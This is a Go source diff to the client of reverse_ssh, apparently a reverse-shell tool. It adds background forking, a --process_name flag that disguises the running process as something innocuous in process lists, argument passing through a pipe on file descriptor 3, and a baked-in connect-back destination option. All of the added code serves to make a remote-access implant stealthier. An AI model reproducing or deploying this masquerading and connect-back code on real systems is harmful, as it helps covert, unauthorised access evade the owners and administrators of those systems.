| skipped 1 lines |
2 | 2 | | |
3 | 3 | | import ( |
4 | 4 | | "fmt" |
| 5 | + | "io" |
5 | 6 | | "os" |
| 7 | + | "os/exec" |
6 | 8 | | "path/filepath" |
7 | 9 | | "strconv" |
8 | 10 | | "strings" |
| 11 | + | "syscall" |
9 | 12 | | |
10 | 13 | | "github.com/NHAS/reverse_ssh/internal/terminal" |
11 | 14 | | ) |
12 | 15 | | |
| 16 | + | func fork(path string, sysProcAttr *syscall.SysProcAttr, pretendArgv ...string) error { |
| 17 | + | |
| 18 | + | r, w, err := os.Pipe() |
| 19 | + | if err != nil { |
| 20 | + | return err |
| 21 | + | } |
| 22 | + | |
| 23 | + | //Write original argv via fd 3, so we can more effectively change the client argv to be something innocuous |
| 24 | + | w.Write([]byte(strings.Join(os.Args, " "))) |
| 25 | + | w.Close() |
| 26 | + | |
| 27 | + | cmd := exec.Command(path) |
| 28 | + | cmd.Args = pretendArgv |
| 29 | + | cmd.ExtraFiles = append(cmd.ExtraFiles, r) |
| 30 | + | cmd.Stdout = os.Stdout |
| 31 | + | cmd.Stderr = os.Stderr |
| 32 | + | cmd.SysProcAttr = sysProcAttr |
| 33 | + | |
| 34 | + | err = cmd.Start() |
| 35 | + | |
| 36 | + | if cmd.Process != nil { |
| 37 | + | cmd.Process.Release() |
| 38 | + | } |
| 39 | + | |
| 40 | + | return err |
| 41 | + | } |
| 42 | + | |
13 | 43 | | var ( |
14 | 44 | | destination string |
15 | 45 | | fingerprint string |
| skipped 1 lines |
17 | 47 | | ) |
18 | 48 | | |
19 | 49 | | func printHelp() { |
20 | | - | fmt.Println("usage: ", filepath.Base(os.Args[0]), "[--foreground] [--fingerprint] destination") |
| 50 | + | fmt.Println("usage: ", filepath.Base(os.Args[0]), "--[foreground|fingerprint|proxy|process_name] -d|--destination <server_address>") |
| 51 | + | fmt.Println("\t\t-d or --destination\tServer connect back address (can be baked in)") |
21 | 52 | | fmt.Println("\t\t--foreground\tCauses the client to run without forking to background") |
22 | 53 | | fmt.Println("\t\t--fingerprint\tServer public key SHA256 hex fingerprint for auth") |
23 | 54 | | fmt.Println("\t\t--proxy\tLocation of HTTP connect proxy to use") |
| 55 | + | fmt.Println("\t\t--process_name\tProcess name shown in tasklist/process list") |
24 | 56 | | } |
25 | 57 | | |
26 | 58 | | func main() { |
| skipped 6 lines |
33 | 65 | | os.Args[0] = strconv.Quote(os.Args[0]) |
34 | 66 | | var argv = strings.Join(os.Args, " ") |
35 | 67 | | |
| 68 | + | o := os.NewFile(uintptr(3), "pipe") |
| 69 | + | orginialArgv, err := io.ReadAll(o) |
| 70 | + | child := false |
| 71 | + | if err == nil && len(orginialArgv) > 0 { |
| 72 | + | argv = string(orginialArgv) |
| 73 | + | child = true |
| 74 | + | } |
| 75 | + | o.Close() |
| 76 | + | |
36 | 77 | | line := terminal.ParseLine(argv, 0) |
37 | 78 | | |
38 | 79 | | if line.IsSet("h") || line.IsSet("help") { |
| skipped 1 lines |
40 | 81 | | return |
41 | 82 | | } |
42 | 83 | | |
43 | | - | if len(line.Arguments) < 1 && len(destination) == 0 { |
| 84 | + | fg := line.IsSet("foreground") |
| 85 | + | |
| 86 | + | proxyaddress, _ := line.GetArgString("proxy") |
| 87 | + | |
| 88 | + | userSpecifiedFingerprint, err := line.GetArgString("fingerprint") |
| 89 | + | if err == nil { |
| 90 | + | fingerprint = userSpecifiedFingerprint |
| 91 | + | } |
| 92 | + | |
| 93 | + | processArgv, _ := line.GetArgsString("process_name") |
| 94 | + | |
| 95 | + | if !(line.IsSet("d") || line.IsSet("destination")) && len(destination) == 0 && len(line.Arguments) < 1 { |
44 | 96 | | fmt.Println("No destination specified") |
45 | 97 | | printHelp() |
46 | 98 | | return |
47 | 99 | | } |
48 | 100 | | |
49 | | - | if len(line.Arguments) > 0 { |
50 | | - | destination = line.Arguments[len(line.Arguments)-1].Value() |
| 101 | + | tempDestination, err := line.GetArgString("d") |
| 102 | + | if err != nil { |
| 103 | + | tempDestination, _ = line.GetArgString("destination") |
51 | 104 | | } |
52 | 105 | | |
53 | | - | fg := line.IsSet("foreground") |
| 106 | + | if len(tempDestination) > 0 { |
| 107 | + | destination = tempDestination |
| 108 | + | } |
54 | 109 | | |
55 | | - | proxyaddress, _ := line.GetArgString("proxy") |
56 | | - | |
57 | | - | userSpecifiedFingerprint, err := line.GetArgString("fingerprint") |
58 | | - | if err == nil { |
59 | | - | fingerprint = userSpecifiedFingerprint |
| 110 | + | if len(destination) == 0 && len(line.Arguments) > 1 { |
| 111 | + | // Basically take a guess at the arguments we have and take the last one |
| 112 | + | destination = line.Arguments[len(line.Arguments)-1].Value() |
60 | 113 | | } |
61 | 114 | | |
62 | | - | if fg { |
| 115 | + | if fg || child { |
63 | 116 | | Run(destination, fingerprint, proxyaddress) |
64 | 117 | | return |
65 | 118 | | } |
66 | 119 | | |
67 | | - | err = Fork(destination, fingerprint, proxyaddress) |
| 120 | + | err = Fork(destination, fingerprint, proxyaddress, processArgv...) |
68 | 121 | | if err != nil { |
69 | 122 | | Run(destination, fingerprint, proxyaddress) |
70 | 123 | | } |
| skipped 3 lines |